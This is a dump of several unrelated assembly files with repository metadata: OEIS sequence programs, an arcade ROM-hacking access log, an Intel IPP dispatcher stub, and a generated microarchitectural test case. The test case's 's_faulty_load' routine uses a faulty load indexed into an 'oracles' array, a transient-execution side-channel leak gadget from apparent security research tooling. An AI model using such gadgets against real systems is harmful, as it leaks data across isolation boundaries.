; A031394: a(n) = prime(7*n - 4). ; 5,29,59,89,127,163,197,239,277,317,367,409,449,491,547,593,631,673,727,769,823,863,919,971,1019,1061,1103,1163,1217,1277,1303,1373,1433,1481,1523,1571,1613,1667,1723,1783,1847,1889,1951,2003,2063,2111,2153,2237,2281,2339,2381,2423,2477,2551,2621,2677,2711,2753,2803,2861,2927,2999,3049,3119,3187,3251,3307,3347,3407,3467,3529,3571,3623,3677,3733,3797,3853,3917,3967,4021,4091,4139,4217,4259,4327,4391,4451,4513,4567,4639,4679,4751,4801,4889,4943,4993,5039,5101,5171,5233 mul $0,7 seq $0,215848 ; Primes > 3.
90.833333
472
0.752294
f3af2d791403e93021bfda1bae1f8b09dddf51ba
507
asm
Assembly
wof/lcs/enemy/90.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
6
2020-10-14T15:29:10.000Z
2022-02-12T18:58:54.000Z
wof/lcs/enemy/90.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
null
null
null
wof/lcs/enemy/90.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
1
2020-12-17T08:59:10.000Z
2020-12-17T08:59:10.000Z
copyright zengfr site:http://github.com/zengfr/romhack 001590 lea ($20,A0), A0 003D26 addq.w #1, A1 [enemy+90] 003D88 addq.w #1, A1 [enemy+90] 0041B4 move.b ($91,A0), D2 [enemy+90] 0041BE move.b ($91,A0), D1 [enemy+90] 005346 move.w #$2020, ($90,A0) [enemy+20] 00534C move.l #$5a26a, ($36,A0) [enemy+90] 012294 move.l (A2)+, (A3)+ [enemy+8C, enemy+8E] 012296 move.l (A2)+, (A3)+ [enemy+90, enemy+92] 01A75E dbra D4, $1a75c copyright zengfr site:http://github.com/zengfr/romhack
33.8
54
0.637081
96ffecde360d645dc20db1526ce744120a53ea46
6,683
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1271.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1271.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1271.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r14 push %rax push %rcx push %rdi push %rsi lea addresses_normal_ht+0x11c0f, %r14 nop nop cmp %rsi, %rsi movw $0x6162, (%r14) nop and %rax, %rax lea addresses_UC_ht+0x14e0f, %rsi lea addresses_WC_ht+0x6e0f, %rdi clflush (%rsi) nop nop nop inc %r12 mov $32, %rcx rep movsq xor %r14, %r14 lea addresses_normal_ht+0x9c0f, %rdi dec %r12 movups (%rdi), %xmm7 vpextrq $0, %xmm7, %rsi nop nop nop nop nop xor %r14, %r14 lea addresses_normal_ht+0x18b21, %rcx nop nop nop nop sub $5481, %rax mov $0x6162636465666768, %rdi movq %rdi, %xmm7 movups %xmm7, (%rcx) nop nop nop nop and %rsi, %rsi lea addresses_WC_ht+0x165cf, %rsi nop nop nop nop inc %r10 vmovups (%rsi), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $1, %xmm5, %r14 add $48375, %r14 lea addresses_normal_ht+0x13b4f, %r12 nop nop nop and %r14, %r14 movb $0x61, (%r12) nop sub %rdi, %rdi lea addresses_WT_ht+0x14bcf, %rdi nop nop nop nop and $43769, %r14 mov $0x6162636465666768, %rcx movq %rcx, %xmm3 movups %xmm3, (%rdi) nop nop nop nop nop dec %r14 lea addresses_WT_ht+0x1a00f, %rax dec %rsi mov $0x6162636465666768, %r12 movq %r12, (%rax) nop nop cmp %rax, %rax lea addresses_WT_ht+0x1a80f, %rdi nop nop nop inc %rsi movups (%rdi), %xmm5 vpextrq $1, %xmm5, %r12 nop add %r10, %r10 lea addresses_WT_ht+0x1a40f, %rsi lea addresses_WC_ht+0xb40f, %rdi nop nop nop nop sub %r11, %r11 mov $4, %rcx rep movsq nop nop nop cmp $38798, %r14 lea addresses_A_ht+0x16adb, %rdi nop nop nop add %r12, %r12 mov (%rdi), %eax inc %r11 pop %rsi pop %rdi pop %rcx pop %rax pop %r14 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r8 push %r9 push %rsi // Faulty Load lea addresses_RW+0xd40f, %rsi nop add %r9, %r9 movb (%rsi), %r14b lea oracles, %rsi and $0xff, %r14 shlq $12, %r14 mov (%rsi,%r14,1), %r14 pop %rsi pop %r9 pop %r8 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_RW', 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_RW', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'NT': True, 'AVXalign': True, 'size': 2, 'type': 'addresses_normal_ht', 'congruent': 11}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 7}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 0}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WC_ht', 'congruent': 3}} {'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 5}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT_ht', 'congruent': 2}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT_ht', 'congruent': 9}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT_ht', 'congruent': 8}} {'dst': {'same': True, 'congruent': 9, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_WT_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 2}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
37.971591
2,999
0.658537
6d7213f0b03df971b4e4289c6e0ca39fab45ea99
917
asm
Assembly
_build/dispatcher/jmp_ippsGcd_BN_2c7e49f3.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
1
2021-10-04T10:21:54.000Z
2021-10-04T10:21:54.000Z
_build/dispatcher/jmp_ippsGcd_BN_2c7e49f3.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
_build/dispatcher/jmp_ippsGcd_BN_2c7e49f3.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
extern m7_ippsGcd_BN:function extern n8_ippsGcd_BN:function extern y8_ippsGcd_BN:function extern e9_ippsGcd_BN:function extern l9_ippsGcd_BN:function extern n0_ippsGcd_BN:function extern k0_ippsGcd_BN:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data align 8 dq .Lin_ippsGcd_BN .Larraddr_ippsGcd_BN: dq m7_ippsGcd_BN dq n8_ippsGcd_BN dq y8_ippsGcd_BN dq e9_ippsGcd_BN dq l9_ippsGcd_BN dq n0_ippsGcd_BN dq k0_ippsGcd_BN segment .text global ippsGcd_BN:function (ippsGcd_BN.LEndippsGcd_BN - ippsGcd_BN) .Lin_ippsGcd_BN: db 0xf3, 0x0f, 0x1e, 0xfa call ippcpSafeInit wrt ..plt align 16 ippsGcd_BN: db 0xf3, 0x0f, 0x1e, 0xfa mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc] movsxd rax, dword [rax] lea r11, [rel .Larraddr_ippsGcd_BN] mov r11, qword [r11+rax*8] jmp r11 .LEndippsGcd_BN:
23.512821
68
0.760087
2ab32b236cb3713e78c458ac6ecfb685681d16c2
292
asm
Assembly
programs/oeis/155/A155659.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/155/A155659.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/155/A155659.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A155659: 8^n-7^n+1. ; 1,2,16,170,1696,15962,144496,1273610,11012416,93864122,791266576,6612607850,54878189536,452866803482,3719823438256,30436810578890,248242046141056,2019169299698042,16385984911571536,132716292890482730 mov $1,8 pow $1,$0 mov $2,7 pow $2,$0 sub $1,$2 add $1,1 mov $0,$1
26.545455
201
0.777397
cac1cfa14c5c8db305e62799540e5a5c9ab11880
1,738
asm
Assembly
res/lib/asm/x86/uint_to_hex_string.asm
Emoun/unsafe-lang
a207b1023bc8f373269d77ff471edef202877714
[ "MIT" ]
1
2018-06-11T06:57:48.000Z
2018-06-11T06:57:48.000Z
res/lib/asm/x86/uint_to_hex_string.asm
Emoun/unsafe-lang
a207b1023bc8f373269d77ff471edef202877714
[ "MIT" ]
null
null
null
res/lib/asm/x86/uint_to_hex_string.asm
Emoun/unsafe-lang
a207b1023bc8f373269d77ff471edef202877714
[ "MIT" ]
null
null
null
; Takes an unsigned integer and converts it to its string representation in hexadecimal ; and inserts that at the given address. ; Up to 8 bytes are overwritten at the given address, ; though the exact number is (floor(log16(<uint>)) + 1) assuming <uint> isn't zero. ; Input: ESI - address of buffer to overwrite ; EAX - uint to convert ; Output: AX - number of bytes used (the number of chars the int representation takes, as described above) ; ; Uses: eax, ebx, ecx, edx, esi, edi uint_to_hex_string: mov ecx, 0 ; number of chars created mov ebx, 16 ; dividing by hex mov edi, esi ; make a copy of the first char address for later ; always convert once uint_to_hex_string_convert_loop: mov edx, 0 ; remainders (must be cleared before a doing a 32 bit DIV) div ebx ; divide / modulo 16. result of division in eax, modulo in edx add dl, 32 ; convert remainder to char mov [esi], dl ; save char add esi, 1 ; inc buffer addr add cx, 1 ; inc char count cmp eax, 0 jne uint_to_hex_string_convert_loop ; if not done ; need to switch the order of the generated number sub esi, 1 ; esi now points at the last char (edi already points at the first) mov bx, cx push cx ; store the char nr to be able to use ecx shr bx,1 ; ebx/2. Now counts the number of switches to do cmp bx, 0 je uint_to_hex_string_switch_ret uint_to_hex_string_switch_loop: mov al, [edi] ; hold a copy of the char at edi mov cl, [esi] ; hold a copy of the char at esi mov [edi], cl ; move the char that was at esi to edi mov [esi], al ; move the char that was at edi to esi add edi, 1 sub esi, 1 sub bx, 1 cmp bx, 0 jne uint_to_hex_string_switch_loop ; more switches needed uint_to_hex_string_switch_ret: pop ax ret
34.76
107
0.719793
b00c60082cff94471f0b5ad5dd62e9ccaf7e881e
1,719
asm
Assembly
programs/oeis/232/A232510.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/232/A232510.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/232/A232510.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A232510: Number of (n+1)X(3+1) 0..2 arrays with every element next to itself plus and minus one within the range 0..2 horizontally, diagonally or antidiagonally, with no adjacent elements equal ; 16,32,128,400,1344,4416,14608,48224,159296,526096,1737600,5738880,18954256,62601632,206759168,682879120,2255396544,7449068736,24602602768,81256877024,268373233856,886376578576,2927502969600,9668885487360,31934159431696,105471363782432,348348250779008,1150516116119440,3799896599137344 mov $42,$0 mov $44,$0 add $44,1 lpb $44 clr $0,42 mov $0,$42 sub $44,1 sub $0,$44 mov $39,$0 mov $41,$0 add $41,1 lpb $41 mov $0,$39 sub $41,1 sub $0,$41 mov $35,$0 mov $37,2 lpb $37 mov $0,$35 sub $37,1 add $0,$37 sub $0,1 mov $31,$0 mov $33,2 lpb $33 mov $0,$31 sub $33,1 add $0,$33 sub $0,1 mov $27,$0 mov $29,2 lpb $29 mov $0,$27 sub $29,1 add $0,$29 sub $0,1 cal $0,20704 ; Pisot sequences E(3,10), P(3,10). div $0,3 mov $1,$0 mov $30,$29 lpb $30 mov $28,$1 sub $30,1 lpe lpe lpb $27 mov $27,0 sub $28,$1 lpe mov $1,$28 mov $34,$33 lpb $34 mov $32,$1 sub $34,1 lpe lpe lpb $31 mov $31,0 sub $32,$1 lpe mov $1,$32 mov $38,$37 lpb $38 mov $36,$1 sub $38,1 lpe lpe lpb $35 mov $35,0 sub $36,$1 lpe mov $1,$36 mul $1,16 add $40,$1 lpe add $43,$40 lpe mov $1,$43
20.963415
286
0.497964